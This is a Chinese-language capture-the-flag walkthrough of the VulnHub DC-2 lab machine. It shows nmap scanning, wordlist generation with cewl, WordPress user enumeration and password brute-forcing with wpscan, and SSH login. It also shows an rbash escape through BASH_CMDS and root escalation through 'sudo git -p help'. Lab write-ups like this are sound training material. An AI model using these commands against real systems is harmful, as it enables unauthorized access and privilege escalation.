VulnHub-DC2
- 2 mins环境下载地址:
https://www.five86.com/dc-2.html
环境搭建:
信息收集
nmap 获取其IP地址
命令:nmap -sP 192.168.2.0/24
通过主机名DC-2 识别IP为192.168.2.233
或者通过MAC地址识别目标IP
提示修改host文件的配置,添加ip地址和域名(访问80端口时,会自动跳转成dc-2,不修改会无法访问)
修改 parrot 的host文件
漏洞利用
获取 flag1
利用nmap对目标主机进行端口扫描
命令:nmap -sV -p- 192.168.2.233
参数说明:
-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描 0-65535全部端口
扫描发现,开放了80和7744端口
访问:http://192.168.2.233,获取 flag1
访问网页,是一个wordpress模板的博客网站,页面直接获得 flag1
提示使用 cewl密码字典生成工具,并且在登录后可以找到下一个 flag
获取 flag2
根据 flag1的提示,使用 cewl生成密码保存在当前目录的 pwd.txt 中
命令:
┌─[root@pendo]─[/home/pendo]
└──╼ #cewl http://dc-2/ -w pwd.txt
获取用户名(wpscan)
现在,密码有了,还得获取用户名
前面已经知道这是个 WordPress网站,可以用 wpscan扫描来枚举网站中的可用用户名
命令:
┌─[root@pendo]─[/home/pendo]
└──╼ #wpscan --url dc-2 -e u
扫描发现存在 admin、jerry、tom用户
新建一个.list文件(dc-2users.list),将扫描到的三个用户名添加到该文件中
知道了用户名,结合cewl工具生成的字典文件进行爆破
命令:
┌─[root@pendo]─[/home/pendo]
└──╼ #wpscan --url http://dc-2/ -U dc-2users.list -P pwd.txt
爆破出两个用户的密码
扫描网站后台
命令:
┌─[✗]─[root@pendo]─[/home/pendo]
└──╼ #dirb http://dc-2/
使用爆破的用户名/密码进行登录,在jerry中发现 flag2;tom用户名登录后没发现
获取 flag3
结合扫出来的开放服务,尝试ssh登录
经尝试只能使用tom登录
命令:
┌─[✗]─[root@pendo]─[/home/pendo]
└──╼ #ssh tom@192.168.2.233 -p 7744
输入命令查看 flag3.txt内容失败,受限shell(限制了可执行的命令)
① 使用 vi 命令查看 flag3.txt内容
② 绕过受限shell(rbash限制绕过)
命令:
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
使用并添加环境变量
命令:tom@DC-2:~$ export PATH=$PATH:/bin/
获取 flag4
切换到 jerry用户
切换到 jerry目录,查看文件,发现 flag4.txt
通过命令cat 查看内容
获取 flag5
根据 flag4 提示,还不是最终的flag
提示git,查看sudo配置文件,发现git是root,不用密码可以运行,搜索git提权
进行提权
命令:
1. sudo git -p help
2. !/bin/bash
切换目录,找到最终的 flag